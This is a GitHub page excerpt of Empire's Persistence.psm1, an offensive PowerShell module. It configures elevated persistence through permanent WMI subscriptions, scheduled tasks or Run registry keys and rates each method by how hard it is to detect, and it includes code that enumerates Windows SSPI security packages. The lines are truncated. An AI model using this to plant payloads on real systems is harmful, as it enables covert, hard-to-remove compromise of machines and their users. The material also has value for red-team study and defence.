Sign in

This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

EmpireProject / Empire Public archive

Notifications Fork 2.8k Star 7.4k

Code Issues 64 Pull requests 37 Actions Projects Wiki Security Insig

Empire / data / module_source / persistence / Persistence.psm1

1046 lines (787 loc) · 36.2 KB

Code Blame Raw

```
function New-ElevatedPersistenceOption
{
<#
.SYNOPSIS

    Configure elevated persistence options for the Add-Persistence function.

    PowerSploit Function: New-ElevatedPersistenceOption
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

.DESCRIPTION

    New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. The

.PARAMETER PermanentWMI

    Persist via a permanent WMI event subscription. This option will be the most difficult to detec

    Detection Difficulty:        Difficult
    Removal Difficulty:          Difficult
    User Detectable?             No

.PARAMETER ScheduledTask

    Persist via a scheduled task.

    Detection Difficulty:        Moderate
    Removal Difficulty:          Moderate
    User Detectable?             No

.PARAMETER Registry

    Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This opt

    Detection Difficulty:        Easy
    Removal Difficulty:          Easy
    User Detectable?             Yes

.PARAMETER AtLogon

    Starts the payload upon any user logon.

.PARAMETER AtStartup

    Starts the payload within 240 and 325 seconds of computer startup.

.PARAMETER OnIdle

    Starts the payload after one minute of idling.

.PARAMETER Daily

    Starts the payload daily.

.PARAMETER At

    Starts the payload at the specified time. You may specify times in the following formats: '12:3

.EXAMPLE

    C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'

.EXAMPLE

    C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup

.EXAMPLE
```

```

        C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle

    .LINK

        http://www.exploit-monday.com
    #>

        [CmdletBinding()] Param (
            [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
            [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
            [Switch]
            $PermanentWMI,

            [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
            [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
            [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
            [Switch]
            $ScheduledTask,

            [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
            [Switch]
            $Registry,

            [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
            [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
            [Switch]
            $Daily,

            [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
            [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
            [DateTime]
            $At,

            [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
            [Switch]
            $OnIdle,

            [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
            [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
            [Switch]
            $AtLogon,

            [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
            [Switch]
            $AtStartup
        )
```

```
        $null = $EnumBuilder.DefineLiteral('APPCONTAINER_CHECKS', 0x800000)
        $SECPKG_FLAG = $EnumBuilder.CreateType()

        $TypeBuilder = $ModuleBuilder.DefineType('SSPI.SecPkgInfo', $StructAttributes, [Object], [Refle
        $null = $TypeBuilder.DefineField('fCapabilities', $SECPKG_FLAG, 'Public')
        $null = $TypeBuilder.DefineField('wVersion', [Int16], 'Public')
        $null = $TypeBuilder.DefineField('wRPCID', [Int16], 'Public')
        $null = $TypeBuilder.DefineField('cbMaxToken', [Int32], 'Public')
        $null = $TypeBuilder.DefineField('Name', [IntPtr], 'Public')
        $null = $TypeBuilder.DefineField('Comment', [IntPtr], 'Public')
        $SecPkgInfo = $TypeBuilder.CreateType()

        $TypeBuilder = $ModuleBuilder.DefineType('SSPI.Secur32', 'Public, Class')
        $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('EnumerateSecurityPackages',
            'secur32.dll',
            'Public, Static',
            [Reflection.CallingConventions]::Standard,
            [Int32],
            [Type[]] @([Int32].MakeByRefType(),
                [IntPtr].MakeByRefType()),
            [Runtime.InteropServices.CallingConvention]::Winapi,
            [Runtime.InteropServices.CharSet]::Ansi)

        $Secur32 = $TypeBuilder.CreateType()

        $PackageCount = 0
        $PackageArrayPtr = [IntPtr]::Zero
        $Result = $Secur32::EnumerateSecurityPackages([Ref] $PackageCount, [Ref] $PackageArrayPtr)

        if ($Result -ne 0)
        {
            throw "Unable to enumerate seucrity packages. Error (0x$($Result.ToString('X8')))"
        }

        if ($PackageCount -eq 0)
        {
            Write-Verbose 'There are no installed security packages.'
            return
        }

        $StructAddress = $PackageArrayPtr

        foreach ($i in 1..$PackageCount)
        {
            $SecPackageStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type
            $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::Si

            $Name = $null

            if ($SecPackageStruct.Name -ne [IntPtr]::Zero)
            {
                $Name = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Name)
            }

            $Comment = $null

            if ($SecPackageStruct.Comment -ne [IntPtr]::Zero)
            {
                $Comment = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Comment
            }
            $Attributes = @{
                Name = $Name
                Comment = $Comment
                Capabilities = $SecPackageStruct.fCapabilities
                MaxTokenSize = $SecPackageStruct.cbMaxToken
            }

            $SecPackage = New-Object PSObject -Property $Attributes
            $SecPackage.PSObject.TypeNames[0] = 'SECUR32.SECPKGINFO'

            $SecPackage
        }
    }
```